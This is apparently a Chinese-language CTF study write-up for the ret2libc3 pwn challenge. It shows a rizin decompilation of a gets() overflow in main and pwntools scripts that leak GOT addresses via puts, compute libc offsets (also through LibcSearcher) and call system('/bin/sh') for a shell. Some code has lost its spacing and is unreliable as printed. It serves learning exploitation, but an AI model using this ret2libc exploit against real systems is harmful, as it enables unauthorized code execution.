rizin 打开, iI 查看信息, x86 架构 32 位 ELF. 没开 canary 和 PIE.
aaa; afl, 发现 secure 函数, s dbg.secure;pdg 啥都没有. s main; pdg:
1
2
3
4
5
6
7
8
9
10
11
12
undefined4dbg.main(void){undefinedauStack116[112];// int main();
sym.imp.setvbuf(_reloc.stdout,0,2,0);sym.imp.setvbuf(_reloc.stdin,0,1,0);sym.imp.puts("No surprise anymore, system disappeard QQ.");sym.imp.printf("Can you find it !?");sym.imp.gets(auStack116);return0;}
frompwnimport*defleak(program,padding,function):sh=process(program)elf=ELF(program)plt_puts=elf.plt['puts']got_function=elf.got[function]payload=b'a'*paddingpayload+=p32(plt_puts)+p32(0xdeadbeef)+p32(got_function)sh.recvuntil(b'Can you find it !?')sh.sendline(payload)addr_function=u32(sh.recvline()[0:4])print(function+': '+hex(addr_function))sh.close()leak('./ret2libc3',0x6c+0x04,'__libc_start_main')leak('./ret2libc3',0x6c+0x04,'puts')leak('./ret2libc3',0x6c+0x04,'gets')leak('./ret2libc3',0x6c+0x04,'setvbuf')
输出如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ python leak.py
[+] Starting local process './ret2libc3': pid 95557
[*] '/home/wings/CTF/study/pwn/ctf-wiki-ret2lib3/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
__libc_start_main: 0xf7d21df0
[*] Stopped process './ret2libc3' (pid 95557)
[+] Starting local process './ret2libc3': pid 95561
puts: 0xf7da3c30
[*] Stopped process './ret2libc3' (pid 95561)
[+] Starting local process './ret2libc3': pid 95564
gets: 0xf7d33110
[*] Stopped process './ret2libc3' (pid 95564)
[+] Starting local process './ret2libc3': pid 95567
setvbuf: 0xf7da6420
[*] Stopped process './ret2libc3' (pid 95567)
frompwnimport*program='./ret2libc3'sh=process(program)elf=ELF(program)function='__libc_start_main'plt_puts=elf.plt['puts']got_function=elf.got[function]sym_main=elf.sym['main']payload=b'a'*(0x6c+0x04)payload+=p32(plt_puts)+p32(sym_main)+p32(got_function)sh.recvuntil(b'Can you find it !?')sh.sendline(payload)addr_function=u32(sh.recvline()[0:4])print(function+': '+hex(addr_function))addr_libc_start_main=addr_functionbase_libc_start_main=0x1adf0base_system=0x41790base_str_bin_sh=0x18e363offset=addr_libc_start_main-base_libc_start_mainaddr_system=base_system+offsetaddr_str_bin_sh=base_str_bin_sh+offsetpayload=b'a'*(0x64+0x04)payload+=p32(addr_system)+p32(sym_main)+p32(addr_str_bin_sh)sh.recvuntil(b'Can you find it !?')sh.sendline(payload)sh.interactive()
frompwnimport*fromLibcSearcherimport*program='./ret2libc3'elf=ELF(program)plt_puts=elf.plt['puts']sym_main=elf.sym['main']got_libc_start_main=elf.got['__libc_start_main']defleak(function):sh=process(program)got_function=elf.got[function]payload=b'a'*(0x6c+0x04)payload+=p32(plt_puts)+p32(0xdeadbeef)+p32(got_function)sh.recvuntil(b'Can you find it !?')sh.sendline(payload)addr_function=u32(sh.recvline()[0:4])print(function+': '+hex(addr_function))sh.close()returnaddr_functiondefadd_condition(libc,function):libc.add_condition(function,leak(function))libc=LibcSearcher()add_condition(libc,'__libc_start_main')add_condition(libc,'puts')add_condition(libc,'gets')add_condition(libc,'setvbuf')base_libc_start_main=libc.dump('__libc_start_main')base_system=libc.dump('system')base_str_bin_sh=libc.dump('str_bin_sh')sh=process(program)payload_leak=b'a'*(0x6c+0x04)payload_leak+=p32(plt_puts)+p32(sym_main)+p32(got_libc_start_main)sh.recvuntil(b'Can you find it !?')sh.sendline(payload_leak)addr_libc_start_main=u32(sh.recvline()[0:4])offset=addr_libc_start_main-base_libc_start_mainaddr_system=base_system+offsetaddr_str_bin_sh=base_str_bin_sh+offsetpayload=b'a'*(0x64+0x04)payload+=p32(addr_system)+p32(sym_main)+p32(addr_str_bin_sh)sh.recvuntil(b'Can you find it !?')sh.sendline(payload)sh.interactive()
需要注意的是, 由于 main 中反汇编代码在计算 esp 的时候使用了位运算:
1
2
3
4
0x08048618 push ebp ; ret2libcGOT.c:19 ; int main();
0x08048619 mov ebp, esp
0x0804861b and esp, 0xfffffff0
0x0804861e add esp, 0xffffff80